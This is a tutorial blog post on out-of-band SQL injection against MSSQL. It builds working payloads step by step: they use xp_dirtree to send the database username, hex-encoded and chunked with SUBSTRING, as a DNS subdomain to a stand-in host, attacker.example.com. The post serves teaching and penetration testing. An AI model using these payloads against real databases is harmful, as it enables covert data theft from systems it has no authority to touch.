SQL Injection Exploitation: Out-of-Band
Author: HollyGraceful Published: 26 January 2021
Out-of-band exploitation refers to exploits where the extracted information is received over a connection other than the one the payload was delivered over. It can be used to bypass defensive technologies as well as complicating the detection and response capability. SQL Injection can be exploited out-of-band through protocols such as DNS in order to extract database contents. This is particularly useful as an alternative to Time-based exploitation where it can allow for faster extraction. If you're new to this vulnerability, it's worth starting at SQL Injection basics first, before reading this article.
The idea behind out-of-band exploitation is fairly simple, instead of inferring content in the database through something like Boolean logic, you can request the target system transmit the information over protocols such as HTTP, SMB or DNS.
Example functions that allow for this are:
Supplying a hostname to these functions will cause a DNS lookup to a domain. Therefore if you control the authoritative name server for that domain you can see the requests within the server logs.
Now add to this the fact that you can dynamically generate these hostnames and this means that you can extract data from the target system by appending it as a subdomain to the DNS lookup.
Something worth noting of course is that you're limited to characters that are valid within hostnames. On MySQL systems you can use the HEX() function to encode the data as it is extracted. There is also a length limitation as subdomain labels can be a maximum of 64 characters in length, but SUBSTRING() can be used to pull data piece at a time. On MSSQL the CONVERT() function can be used instead of HEX().
So an example of a simple MSSQL payload would be:
EXEC master..xp_dirtree '\\attacker.example.com\foo' --
This would cause a DNS lookup to the attacker.example.com domain.
Note: some systems might perform a DNS lookup when they spot a hostname in a request like this, so to prevent false positives I recommend splitting the hostname, such as: '\\attacker.exa'+'mple.com\.', so that any detected name lookups must be through SQL-like processing.
A simple example would look like this:
declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + user_name() + '.attacker.example.com\foo'; exec(@q)
The above payload takes the current username, appends it to the attacker controlled hostname as a subdomain and sends it to the attacker controlled server from which it can be extracted from the logs.
If the output is too long, it can be split using substring, like this:
declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + SUBSTRING(user_name(),1,60) + '.attacker.example.com\foo'; exec(@q)
declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + SUBSTRING(user_name(),61,60) + '.attacker.example.com\foo'; exec(@q)
If the output contains characters that aren't valid within hostnames, we can encode them. For example:
CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), user_name()), 1)
Putting those together into a single payload we get something like this:
declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + SUBSTRING(CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), user_name()), 1),1,60) + '.attacker.example.com\foo'; exec(@q)
That's it - that's an example of a complete payload which will take some data from the database, encode it as hex, ensure the output isn't too long for the request and send a DNS request to a server of the attacker's choice, allowing them to read the results from their server logs. The DNS request would show in the server logs as something like this:
Decoding that we find the username was "dbo".
Whilst it's a little complicated to first get set up, this method is significantly faster than exploitation methods such as Time-based blind when trying to disclose large amounts of data from a target database.